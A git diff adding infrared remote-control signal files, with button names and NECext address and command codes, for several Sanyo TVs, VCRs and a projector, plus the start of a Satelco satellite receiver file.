b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir new file mode 100644 index 000000000..aad635ff8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 01 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 02 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 10 00 00 00 +# +name: pause/still +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 12 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 15 00 00 00 +# +name: index +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 19 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1D 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1E 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 43 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 44 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 46 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4B 00 00 00 +# +name: vps/pdc +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4F 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 56 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5B 00 00 00 +# +name: sp/lp +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5E 00 00 00 +# +name: preset +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 9E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir new file mode 100644 index 000000000..e84af3c15 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: CH_0 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 00 00 00 00 +# +name: CH_1 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 01 00 00 00 +# +name: CH_2 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 02 00 00 00 +# +name: CH_3 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 03 00 00 00 +# +name: CH_4 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 04 00 00 00 +# +name: CH_5 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 05 00 00 00 +# +name: CH_6 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 06 00 00 00 +# +name: CH_7 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 07 00 00 00 +# +name: CH_8 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 08 00 00 00 +# +name: CH_9 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 09 00 00 00 +# +name: DIGITTEXT_SUB-PAGE +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0C 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0D 00 00 00 +# +name: NORMALISATION +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 11 00 00 00 +# +name: TV/AV-SELECTION +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 14 00 00 00 +# +name: SOUND_MUTE +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 15 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 17 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 18 00 00 00 +# +name: SLEEP-/ON-TIMERTEXT_CANCEL +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 19 00 00 00 +# +name: FUNCTION +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 1A 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 1C 00 00 00 +# +name: ALTERNATE +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 1D 00 00 00 +# +name: A.B-SELECTION +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 40 00 00 00 +# +name: TEXT/MIX/TV-SWITCH +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 46 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 49 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 4A 00 00 00 +# +name: YELLOWBASS +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 4B 00 00 00 +# +name: BLUETIME-CALL +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 4C 00 00 00 +# +name: TEXT_HOLD +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 4E 00 00 00 +# +name: TEXT_INDEX-PAGE +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 51 00 00 00 +# +name: TEXT_SIZE +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir new file mode 100644 index 000000000..dc39e21f2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 01 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 02 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 10 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 12 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 15 00 00 00 +# +name: index +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 19 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1C 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1E 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 43 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 44 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 46 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4B 00 00 00 +# +name: vps +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4F 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 56 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5B 00 00 00 +# +name: sp +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5E 00 00 00 +# +name: showview +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 8C 00 00 00 +# +name: preset +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 9E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir new file mode 100644 index 000000000..480f0dacc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0B 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0F 00 00 00 +# +name: image +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 12 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 13 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 17 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 18 00 00 00 +# +name: ch-recall +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 19 00 00 00 +# +name: audio_mode +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 1C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir new file mode 100644 index 000000000..ff8acf415 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 09 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 12 00 00 00 +# +name: tv/vid +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 13 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 19 00 00 00 +# +name: pip +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 5B 00 00 00 +# +name: swap +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir new file mode 100644 index 000000000..6f889a1fd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 01 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 07 00 00 00 +# +name: tv/vcr +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 10 00 00 00 +# +name: pause/still +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 12 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 15 00 00 00 +# +name: KEY_1-- +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1D 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 43 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 44 00 00 00 +# +name: clk/count +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 45 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 46 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4A 00 00 00 +# +name: set +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5B 00 00 00 +# +name: tape_speed +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir new file mode 100644 index 000000000..14829b1d0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir @@ -0,0 +1,152 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 09 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0B 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0C 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 0F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 12 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 13 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 17 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 18 00 00 00 +# +name: ch-recall +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 19 00 00 00 +# +name: auto +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 1C 00 00 00 +# +name: digicon +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 1D 00 00 00 +# +name: menu+ +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 1E 00 00 00 +# +name: menu- +type: parsed +protocol: NECext +address: 38 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir new file mode 100644 index 000000000..ba93336f1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 01 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 02 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 03 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 07 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0E 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 0F 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 10 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 11 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 12 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 13 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 14 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 15 00 00 00 +# +name: index +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 19 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1D 00 00 00 +# +name: input +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 1E 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 43 00 00 00 +# +name: reset +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 44 00 00 00 +# +name: type +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 46 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4B 00 00 00 +# +name: vps +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 4F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5B 00 00 00 +# +name: sp/lp +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 5E 00 00 00 +# +name: showview +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 8C 00 00 00 +# +name: preset +type: parsed +protocol: NECext +address: 31 00 00 00 +command: 9E 00 00 00 +# +name: menu/tv +type: parsed +protocol: NECext +address: 31 00 00 00 +command: CA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir new file mode 100644 index 000000000..ef703db5d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 00 00 00 00 +# +name: V.MODE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 05 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 09 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 09 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 0A 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 0A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 0B 00 00 00 +# +name: FUNCTION +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1C 00 00 00 +# +name: LEVEL_> +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1D 00 00 00 +# +name: LEVEL_+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1D 00 00 00 +# +name: LEVEL_< +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1E 00 00 00 +# +name: LEVEL_- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1E 00 00 00 +# +name: AUTO +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 1F 00 00 00 +# +name: ZOOM_- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 46 00 00 00 +# +name: ZOOM_V +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 46 00 00 00 +# +name: ZOOM_+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 47 00 00 00 +# +name: ZOOM_^ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 47 00 00 00 +# +name: FOCUS_+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 4A 00 00 00 +# +name: FOCUS_^ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 4A 00 00 00 +# +name: FOCUS_- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 4B 00 00 00 +# +name: FOCUS_V +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 4B 00 00 00 +# +name: EXPAND +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 58 00 00 00 +# +name: KEYSTONE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Satelco/Sat/24,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Satelco/Sat/24,-1.ir new file mode 100644 index 000000000..6882bf285 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Satelco/Sat/24,-1.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0B 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0E 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 0F 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 10 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 11 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 12 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 13 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 14 